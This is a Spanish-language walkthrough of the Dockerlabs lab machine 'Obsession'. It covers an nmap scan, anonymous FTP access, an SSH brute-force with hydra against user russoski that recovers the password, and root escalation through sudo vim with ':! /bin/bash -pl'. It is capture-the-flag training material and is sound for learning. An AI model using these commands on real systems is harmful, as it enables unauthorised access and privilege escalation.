

Obsession

Intrusión

Primero comprobamos si hay conectividad con un ping. Luego de comprobar que hay conectividad enumeramos los puertos con `nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2 -oN fastScan`.

```
# Nmap 7.95 scan initiated Mon Oct 6 09:19:03 2025 as: /usr/lib/nmap/nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn -oN fastScan 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000020s latency).
Scanned at 2025-10-06 09:19:03 CEST for 12s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON      VERSION
21/tcp    open  ftp      syn-ack ttl 64 vsftpd 3.0.5
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ -rw-r--r-- 1 0 0 667 Jun 18 2024 chat-gonza.txt
|_ -rw-r--r-- 1 0 0 315 Jun 18 2024 pendientes.txt
|_ ftp-syst:
|_ STAT:
|_ FTP server status:
|_   Connected to ::ffff:172.17.0.1
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   At session startup, client count was 1
|_   vsFTPD 3.0.5 - secure, fast, stable
|_ End of status
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   256 60:05:bd:a9:97:27:a5:ad:46:53:82:15:dd:d5:7a:dd (ECDSA)
|_   ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBICjK7eK4HDkyFx9Sdx52QBKA10xD2H1DN9dnPLkFaFXa2pI5bRqIRDMJLAKBTyyx2/tf
|_   256 0e:07:e6:d4:3b:63:4e:77:62:0f:1a:17:69:91:85:ef (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYezfToQ0m7m3dRLdvXwcIhNZzbIgwquUJvnIIiJjJn
80/tcp    open  http      syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_ http-methods:
|_   Supported Methods: OPTIONS HEAD GET POST
|_ http-server-header: Apache/2.4.58 (Ubuntu)
|_ http-title: Russoski Coaching
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 6 09:19:15 2025 -- 1 IP address (1 host up) scanned in 12.00 seconds
```

Vemos abiertos los puertos **21**, **22** y **80** y además nos informa que el servidor ftp tiene el login anónimo activado, así que lo primero entraremos por ftp a ver que nos encontramos. Para entrar con login anónimo pondremos de usuario `anonymous` y dejaremos la contraseña vacía.

```
> ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
Name (172.17.0.2:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Ahora listaremos el contenido para ver que nos puede ser útil.

```
ftp> ls
229 Entering Extended Passive Mode (|||18189|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 667 Jun 18 2024 chat-gonza.txt
-rw-r--r-- 1 0 0 315 Jun 18 2024 pendientes.txt
226 Directory send OK.
```

Con `get` nos traeremos a nuestra máquina los dos ficheros para ver su contenido.

```
> cat chat-gonza.txt
File: chat-gonza.txt

1 [16:21, 16/6/2024] Gonza: pero en serio es tan guapa esa tal Nágore como dices?
2 [16:28, 16/6/2024] Russoski: es una auténtica princesa pfff, le he hecho hasta un vídeo y todo, lo tengo ya subido y tengo la URL guardada
3 [16:29, 16/6/2024] Russoski: en mi ordenador en una ruta segura, ahora cuando quedemos te lo muestro si quieres
4 [21:52, 16/6/2024] Gonza: buah la verdad tentas razón eh, es hermosa esa chica, del 9 no baja
5 [21:53, 16/6/2024] Gonza: por cierto buen entreno el de hoy en el gym, noto los brazos bastante hinchados, así sí
6 [22:36, 16/6/2024] Russoski: te lo dije, ya sabes que yo tengo buenos gustos para estas cosas xD, y sí buen training hoy

> cat pendientes.txt
File: pendientes.txt

1 1 Comprar el Voucher de la certificación eJPTv2 cuanto antes!
2
3 2 Aumentar el precio de mis asesorías online en la Web!
4
5 3 Terminar mi laboratorio vulnerable para la plataforma Dockerlabs!
6
7 4 Cambiar algunas configuraciones de mi equipo, creo que tengo ciertos
8 permisos habilitados que no son del todo seguros..
```

En el primer fichero vemos lo que parece una conversación, y probaremos entrar con el usuario russoski que es el supuesto dueño del fichero, así que haremos fuerza bruta por ssh.

```
> hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, o
aws and ethics anyway).


Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-06 09:23:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: russoski password: iloveme
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-06 09:23:42
```

Efectivamente encontramos la contraseña así que accedemos por ssh.

Escalada de privilegios

Si hacemos un `sudo -l` vemos que podemos ejecutar vim como sudo sin contraseña, así que lo primero será poner `sudo /usr/bin/vim`.

```
~  
~  
~  
~  
~  
~  
~  
~  
~  
~  
~  
~  
~  
~  
~  
  
      VIM - Vi IMproved  
            version 9.1.16  
       by Bram Moolenaar et al.  
 Modified by team+vim@tracker.debian.org  
Vim is open source and freely distributable
```



```
Sponsor Vim development!  
type :help sponsor<Enter>   for information  
  
type :q<Enter>               to exit  
type :help<Enter> or <F1>    for on-line help  
type :help version9<Enter>   for version info
```

```
:! /bin/bash -pl
```

En vim podremos poner comandos donde escribimos para guardar o salir de vim, así que pondremos ese comando para conseguir una bash como root.

```
root@a6ccdb7072c4:/home/russoski# whoami  
root  
root@a6ccdb7072c4:/home/russoski# |
```

Y como vemos ya somos root.